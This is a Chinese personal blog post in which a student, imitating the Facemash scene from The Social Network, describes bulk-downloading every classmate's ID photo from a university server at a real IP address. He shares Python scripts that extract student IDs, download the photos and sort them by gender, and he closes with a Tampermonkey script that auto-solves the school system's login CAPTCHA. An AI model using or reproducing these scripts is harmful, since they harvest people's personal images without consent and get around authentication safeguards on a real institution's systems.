Facemesh

The Social Network 社交网络

这部电影从我看第一遍起就狂热的喜欢。

大卫芬奇真的拍的非常好。

我这个人呢,总有个习惯。

当一个东西电影电视动漫什么最火的时候,总是不看。

等到过去了,偶然的时候,翻出来看看,哎,还真是不错。

社交网络也是有如此。

看了真是非常非常多遍,推荐到团队,也成了很长期的梗(最经典莫过于,0.03%的股份……)

电影中,节奏感最强的一段,就是Mark在分手夜,微醺的时候,一边写博客,一边侵入学生公寓服务器,下载了全部学生的照片,做出了Facemesh成功的挂掉了Harvard的网络。

我呢,酒倒是有,只是分手之夜也没这机会了,再说有Mark的前车之鉴,我也不敢真做这么个网站把自己搞出个处分来。

上次看教学管理系统的时候,玩到后来没意思了,也在考虑下载全部照片看看,但是呢,毕竟人家是教学管理系统嘛,还真是挺周全的。查询条件不仅有学号,还有一个PID,随机字符。

这个可就没辙了,研究了很久还是放弃了。

昨晚,机缘巧合在另一个地方发现了能拿到全部的数据,比我想要的更多……

(……我还是觉得我这个时候写博客完全是在作死,no zuo no die……)

后面的就简单了。

拉到的是一个xml,包含全部信息,这种时候当然是Python上了,最方便。

# -*- coding: utf-8 -*-

import xlrd
resultFile = open("./info.txt", "w")
fname = "./info.save.xls"
data = xlrd.open_workbook(fname)
table = data.sheets()[0]
nrows = table.nrows
ncols = table.ncols
for i in range(nrows):
if i==0:
continue
sno = table.cell(i, 0).value
if(len(sno)==8):
resultFile.write(sno+'n')
resultFile.close()
print "All Done"

 

脚本简单的从xml中拉出了所有学号,省得遍历。

下面是实际下载用的脚本了,其实更短。
(具体地址隐去)

# -*- coding: utf-8 -*-

import urllib
infoFile = open("./info.txt", "r")
for sno in infoFile.readlines():
sno=sno[0:-1]
print sno
urllib.urlretrieve("http://210.35.95.97/dlyq/StudentPhotos/"+sno+".jpg", "./photo/"+sno+".jpg")

搞定。
下一步可以再按照男女分类啊,什么的……
Facemesh看来是一个还挺麻烦的事情,现在还真没这闲工夫,而且……确实是对同学不太尊重(T T)因为我真的很想把我一卡通的证件照换一张啊!!!

很简单就搞定了男女分类嘛,Python果然好用~

# -*- coding: utf-8 -*-

import xlrd
import os
import os.path
import shutil

fname = "./info.save.xls"
dic=dict();
data = xlrd.open_workbook(fname)
table = data.sheets()[0]
nrows = table.nrows
ncols = table.ncols
for i in range(nrows):
if i==0:
continue
sno = table.cell(i, 0).value
gender = table.cell(i,2).value
# print sno+' '+gender
dic[sno]=gender

list_dirs = os.walk('./photo/')
for root, dirs, files in list_dirs:
for f in files:
# print os.path.join(root, f)
if dic[f[:-4]].encode('utf-8')=='男':
print f[:-4]+' '+dic[f[:-4]]
shutil.copy('./photo/'+f, './photo/male/'+f)
elif dic[f[:-4]].encode('utf-8')=='女':
print f[:-4]+' '+dic[f[:-4]]
shutil.copy('./photo/'+f, './photo/female/'+f)
print "All Done"

好吧,可以说结果了……
结果就是
我们一整层楼的人像蛇精病一样笑了一个晚上直到1点钟啊!!!!!!!!!!!!!!!!!!!
真的是证件照毁三观啊!!!!!!!!!!!!!!!!!!!!
所有美女全部现原形啊啊啊啊!!!!!!!!!!!!!!!!!
很熟的同学愣是看了十几次都没认出来啊!!!!!!!!!!!!
太恐怖了啊!!!!!!!!!!!!!!!!!!!!!!!!!
我觉得如果真的写了个Facemesh发到网上去,肯定会被全体女生集体围攻致死……切成一条一条的……
算了吧还是小命要紧,只是,再也无法直视同学们了T T

最后再免费附赠我用来识别教学管理系统验证码的Tampermonkey脚本吧……

// ==UserScript==
// @name SHIEP教学管理系统登录验证码识别
// @namespace com.find1x.js.shiepTeachingManagement
// @version 0.1
// @description 自动填写教学管理系统验证码
// @match http://210.35.95.65:7777/schoolmanager/*
// @match http://210.35.95.65:7777/schoolmanager/
// @copyright 2014+, FindiX Studio
// ==/UserScript==

window.onload = function() {
var image = document.getElementsByTagName('img')[8]; //如果要用在greasemonkey脚本里,可以把下面的代码放在image的onload事件里
var canvas = document.createElement('canvas');
var ctx = canvas.getContext("2d");
var numbers = [
//模板,依次是0-9十个数字对应的明暗值字符串
"1100011100100100111000011100001110000111000011100001110010010011100011111111111111110000000",
"1110011100001111100111110011111001111100111110011111001111100111000000111111111111110000000",
"1000011011100111110011111001111100111100111100111100111100111110000001111111111111110000000",
"1000001011110011111001111001100001111110011111100111110001110011000011111111111111110000000",
"1111001111000111100011101001101100101110010000000111100111110011111001111111111111110000000",
"0000000011111101111110000011111100111111001111100111110001110011000011111111111111110000000",
"1100001100111010111110011111001000100011000011100001110010011001100001111111111111110000000",
"0000000111110011110011111001111001111100111100111110011110011111001111111111111111110000000",
"1000001001110000111000001001100001110000010011000001110000111001000001111111111111110000000",
"1000011001100100111000011100001100010001001111100111110001110011000011111111111111110000000"
];
var captcha = ""; //存放识别后的验证码
canvas.width = image.width;
canvas.height = image.height;
document.body.appendChild(canvas);
ctx.drawImage(image, 0, 0);
for (var i = 0; i < 4; i++) {
var pixels = ctx.getImageData(9 * i + 3, 3, 7, 13).data;
var ldString = "";
for (var j = 0, length = pixels.length; j < length; j += 4) {
ldString = ldString + (+(pixels[j] * 0.3 + pixels[j + 1] * 0.59 + pixels[j + 2] * 0.11 >= 140));
}
var comms = numbers.map(function(value) { //为了100%识别率,这里不能直接判断是否和模板字符串相等,因为可能有个别0被计算成1,或者相反
return ldString.split("").filter(function(v, index) {
return value[index] === v;
}).length;
});
captcha += comms.indexOf(Math.max.apply(null, comms)); //添加到识别好的验证码中
}
document.querySelector("input[name=validateCode]").value = captcha; //写入目标文本框
};